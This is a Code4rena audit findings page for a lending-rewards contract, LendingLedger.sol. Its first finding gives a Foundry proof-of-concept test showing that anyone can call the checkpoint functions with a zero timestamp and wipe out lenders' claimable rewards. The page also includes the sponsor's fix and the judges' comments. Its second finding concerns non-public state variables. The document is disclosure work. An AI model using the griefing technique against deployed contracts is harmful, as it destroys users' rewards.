Platform: Code4rena
Start Date: 07/08/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 125
Period: 3 days
Judge: alcueca
Total Solo HM: 4
Id: 274
League: ETH
Rank: 1/125
Findings: 2
Award: $7,120.54
π Selected for report: 1
π Solo Findings: 1
π Selected for report: ladboy233
7110.7151 USDC - $7,110.72
User's claim and sync_lender will be griefed at low cost
/// @notice Trigger a checkpoint explicitly. /// Never needs to be called explicitly, but could be used to ensure the checkpoints within the other functions consume less gas (because they need to forward less epochs) /// @param _market Address of the market /// @param _forwardTimestampLimit Until which epoch (provided as timestamp) should the update be applied. If it is higher than the current epoch timestamp, this will be used. function checkpoint_market( address _market, uint256 _forwardTimestampLimit ) external is_valid_epoch(_forwardTimestampLimit) { require( lendingMarketTotalBalanceEpoch[_market] > 0, "No deposits for this market" ); _checkpoint_market(_market, _forwardTimestampLimit); } /// @param _market Address of the market /// @param _lender Address of the lender /// @param _forwardTimestampLimit Until which epoch (provided as timestamp) should the update be applied. If it is higher than the current epoch timestamp, this will be used. function checkpoint_lender( address _market, address _lender, uint256 _forwardTimestampLimit ) external is_valid_epoch(_forwardTimestampLimit) { require( lendingMarketBalancesEpoch[_market][_lender] > 0, "No deposits for this lender in this market" ); _checkpoint_lender(_market, _lender, _forwardTimestampLimit); }
this two function lacks access control, the caller is never validated, meaning anyone can call this function
the market is not validated to see if the market is whitelisted or not
the timestamp is never validated, the is_valid_epoch(_forwardTimestampLimit) is insufficient
/// @notice Check that a provided timestamp is a valid epoch (divisible by WEEK) or infinity /// @param _timestamp Timestamp to check modifier is_valid_epoch(uint256 _timestamp) { require( _timestamp % WEEK == 0 || _timestamp == type(uint256).max, "Invalid timestamp" ); _; }
the user can just pick a past timestamp as the _forwardTimestampLimit
for example, if we set _forwardTimestampLimit to 0
then for example in _checkpoint_market
function _checkpoint_market( address _market, uint256 _forwardTimestampLimit ) private { uint256 currEpoch = (block.timestamp / WEEK) * WEEK; uint256 lastMarketUpdateEpoch = lendingMarketTotalBalanceEpoch[_market]; uint256 updateUntilEpoch = Math.min(currEpoch, _forwardTimestampLimit); if (lastMarketUpdateEpoch > 0 && lastMarketUpdateEpoch < currEpoch) { // Fill in potential gaps in the market total balances history uint256 lastMarketBalance = lendingMarketTotalBalance[_market][ lastMarketUpdateEpoch ]; for ( uint256 i = lastMarketUpdateEpoch; i <= updateUntilEpoch; i += WEEK ) { lendingMarketTotalBalance[_market][i] = lastMarketBalance; } } lendingMarketTotalBalanceEpoch[_market] = updateUntilEpoch; }
we set the lendingMarketTotalBalanceEpoch[_market] to 0
then if the next call of the _checkpoint_market, the for loop would never run because the lastMarketUpdateEpoch is 0
over time, even when the for loop inside _checkpoint_market does run, the caller are forced to pay very high gas fee
same issue applies to _checkpoint_lender as well
user can decrease lendingMarketBalancesEpoch, even to 0
basically, if a malicious actor call these two function with forwardTimestampLimit 0,
then the _checkpoint_lender and _checkpoint_market would never run inside sync_ledger and claim reward
because user's reward can be griefed to 0 and stated are failed to updated properly
POC 1:
function testLackOfAccessControlSyncMarket_POC_1() public { payable(ledger).transfer(1000 ether); uint248 amountPerEpoch = 1 ether; uint256 fromEpoch = WEEK * 5; uint256 toEpoch = WEEK * 10; address lendingMarket = vm.addr(5201314); vm.prank(goverance); ledger.setRewards(fromEpoch, toEpoch, amountPerEpoch); vm.warp(block.timestamp + WEEK); vm.prank(goverance); ledger.whiteListLendingMarket(lendingMarket, true); address lender = users[1]; vm.startPrank(lendingMarket); int256 deltaStart = 1 ether; uint256 epochStart = (block.timestamp / WEEK) * WEEK; ledger.sync_ledger(lender, deltaStart); // gaps of 3 week uint256 newTime = block.timestamp + 3 * WEEK; vm.warp(newTime); int256 deltaEnd = 1 ether; uint256 epochEnd = (newTime / WEEK) * WEEK; ledger.sync_ledger(lender, deltaEnd); newTime = block.timestamp + 20 * WEEK; vm.warp(newTime); console.log("---sync ledger after set the update epoch to 0 --"); // ledger.checkpoint_market(lendingMarket, 0); // ledger.checkpoint_lender(lendingMarket, lender, 0); ledger.sync_ledger(lender, deltaEnd); vm.stopPrank(); vm.prank(lender); uint256 balanceBefore = address(lender).balance; ledger.claim(lendingMarket, fromEpoch, toEpoch); uint256 balanceAfter = address(lender).balance; console.log(balanceAfter - balanceBefore); vm.expectRevert("No deposits for this user"); ledger.claim(lendingMarket, fromEpoch, toEpoch); }
if we run the POC, we get the normal result, user can claim and get 6 ETH as reward
---sync ledger after set the update epoch to 0 -- 6000000000000000000
if we uncomment:
// ledger.checkpoint_market(lendingMarket, 0); // ledger.checkpoint_lender(lendingMarket, lender, 0);
the claimed reward goes to 0
Manual Review
add access control to checkpoint_market and checkpoint_lender
#0 - itsmetechjay
2023-08-09T21:51:23Z
As noted in the README for this audit:
This audit was preceded by a Code4rena Test Coverage competition, which integrates a swarm approach to smart contract unit test coverage.
While auditing was not the purpose of the testing phase, relevant and valuable findings reported during that phase will be considered. Auditors who identified vulnerabilities during the test coverage phase will be eligible for a share of the pot, with H/M findings identified reviewed and judged as solo findings.
As such, C4 staff have added the above finding that was submitted by ladboy233 on July 26, 2023 at 5:50PM CDT as part of the test coverage competition.
#1 - c4-pre-sort
2023-08-13T15:33:17Z
141345 marked the issue as duplicate of #48
#2 - c4-pre-sort
2023-08-14T15:39:37Z
141345 marked the issue as not a duplicate
#3 - c4-pre-sort
2023-08-14T15:57:08Z
141345 marked the issue as low quality report
#4 - c4-pre-sort
2023-08-14T16:10:28Z
141345 marked the issue as remove high or low quality report
#5 - c4-sponsor
2023-08-16T12:52:19Z
OpenCoreCH marked the issue as sponsor confirmed
#6 - OpenCoreCH
2023-08-16T12:52:56Z
This was a valid issue before the auditing contest (uncovered during the testing contest and fixed before the auditing contst), pasting my comment from there for reference:
Good point. It is generally intended that everyone can call these functions (should not be necessary in practice, but may be in some edge cases where a market was inactive for years) and I do not think that this is problematic per se. However, the problem here is that users can decrease lendingMarketBalancesEpoch
or lendingMarketTotalBalanceEpoch
, which should never happen. So I will probably change the code like this (and the same for lenders) such that this can never happen:
if (lastMarketUpdateEpoch > 0 && lastMarketUpdateEpoch < currEpoch) { // Fill in potential gaps in the market total balances history uint256 lastMarketBalance = lendingMarketTotalBalance[_market][lastMarketUpdateEpoch]; for (uint256 i = lastMarketUpdateEpoch; i <= updateUntilEpoch; i += WEEK) { lendingMarketTotalBalance[_market][i] = lastMarketBalance; } if (updateUntilEpoch > lastMarketUpdateEpoch) { lendingMarketTotalBalanceEpoch[_market] = updateUntilEpoch; } }
#7 - c4-judge
2023-08-22T14:36:48Z
alcueca marked the issue as satisfactory
π Selected for report: RED-LOTUS-REACH
Also found by: 0x3b, 0x4non, 0xCiphky, 0xDING99YA, 0xDetermination, 0xE1, 0xG0P1, 0xStalin, 0xWaitress, 0xbrett8571, 0xhacksmithh, 0xkazim, 0xmuxyz, 0xweb3boy, 14si2o_Flint, AlexCzm, Alhakista, Bube, Bughunter101, Deekshith99, Eeyore, Giorgio, HChang26, InAllHonesty, JP_Courses, KmanOfficial, MatricksDeCoder, Mike_Bello90, MrPotatoMagic, Naubit, QiuhaoLi, RHaO-sec, Raihan, Rolezn, SUPERMAN_I4G, Shubham, Silverskrrrt, Strausses, T1MOH, Topmark, Tripathi, Watermelon, _eperezok, aakansha, auditsea, audityourcontracts, ayden, carlos__alegre, castle_chain, cducrest, ch0bu, d23e, deadrxsezzz, deth, devival, erebus, fatherOfBlocks, halden, hassan-truscova, hpsb, hunter_w3b, imkapadia, immeas, jat, kaden, kaveyjoe, klau5, koxuan, kutugu, ladboy233, lanrebayode77, leasowillow, lsaudit, markus_ether, matrix_0wl, merlin, nemveer, ni8mare, nonseodion, oakcobalt, owadez, p_crypt0, pipidu83, piyushshukla, popular00, ppetrov, rjs, sandy, sl1, supervrijdag, tay054, thekmj, wahedtalash77, windhustler, zhaojie
9.8204 USDC - $9.82
Impossible to query the crucial smart contract state in LendingLedger.sol for on-chain / off-chain service
mapping(address => bool) public lendingMarketWhitelist; /// @dev Lending Market => Lender => Epoch => Balance mapping(address => mapping(address => mapping(uint256 => uint256))) lendingMarketBalances; // cNote balances of users within the lending markets, indexed by epoch /// @dev Lending Market => Lender => Epoch mapping(address => mapping(address => uint256)) lendingMarketBalancesEpoch; // Epoch when the last update happened /// @dev Lending Market => Epoch => Balance mapping(address => mapping(uint256 => uint256)) lendingMarketTotalBalance; // Total balance locked within the market, i.e. sum of lendingMarketBalances for all /// @dev Lending Market => Epoch mapping(address => uint256) lendingMarketTotalBalanceEpoch; // Epoch when the last update happened /// @dev Lending Market => Lender => Epoch mapping(address => mapping(address => uint256)) userClaimedEpoch; // Until which epoch a user has claimed for a particular market (exclusive this value) struct RewardInformation { bool set; uint248 amount; } mapping(uint256 => RewardInformation) rewardInformation;
This is a few crucial states in the LendingLedger.sol
the map / nested map
are all by default internal
without adding the public modifier
it is impossible to query onchain data to know some very common info for both onchain or offchain intergration
for example, a offchain or onchain service may interest in query
is a reward info set for a epoch? - we cannot get it because rewardsInformation missing public modifier
what is the reward in for a epoch? - we cannot get it because rewardsInformation missing public modifier
what is the user claimed balance for epoch? we cannot get it because userCLaimedEpoch missing public modifier
-what is the lending market balance and a lending balance of a user in a market? we cannot get it because the lendingMarketBalance and lendingMarketTotalBalance are missing public modifier
there is also no method to preview the reward for a epoch as well, I can imagien it is very natural for external service to query such info for display purpose
https://docs.code4rena.com/awarding/judging-criteria/severity-categorization
2 β Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
In this case, the missed public modifer greatly impact the availability of the LendingLedger.sol contract
Manual Review
Add public modifier to following:
and add a method to query summarized user info and the reward that are eligible to claim given a epoch range
#0 - itsmetechjay
2023-08-09T21:58:37Z
As noted in the README for this audit:
This audit was preceded by a Code4rena Test Coverage competition, which integrates a swarm approach to smart contract unit test coverage.
While auditing was not the purpose of the testing phase, relevant and valuable findings reported during that phase will be considered. Auditors who identified vulnerabilities during the test coverage phase will be eligible for a share of the pot, with H/M findings identified reviewed and judged as solo findings.
As such, C4 staff have added the above finding that was submitted by ladboy233 on July 26, 2023 at 4:51PM CDT as part of the test coverage competition.
#1 - 141345
2023-08-12T09:19:57Z
QA might be more appropriate.
#2 - OpenCoreCH
2023-08-16T14:42:27Z
Pasting my comment from the testing contest here for reference:
Agree that making userClaimedEpoch
and rewardsInformation
public
could be helpful for UX / DevEx, but for the other ones, I think making them public
could be rather dangerous. lendingMarketBalances
and lendingMarketTotalBalance
are only set after checkpoints have been performed and if a consumer does not know / check this, he might get 0 back, but only because no checkpoint for this epoch was done yet. So I think a dedicated view
function that reverts for non-checkpointed epochs might make more sense there.
I am also not sure if this really is a medium issue. Not exposing this information does not impact the functionality of our intended usage. But I'll leave that to the judge.
#3 - c4-sponsor
2023-08-16T14:42:32Z
OpenCoreCH marked the issue as sponsor acknowledged
#4 - c4-sponsor
2023-08-16T14:42:37Z
OpenCoreCH marked the issue as disagree with severity
#5 - c4-judge
2023-08-22T14:41:13Z
alcueca changed the severity to QA (Quality Assurance)
#6 - c4-judge
2023-08-22T14:41:18Z
alcueca marked the issue as grade-a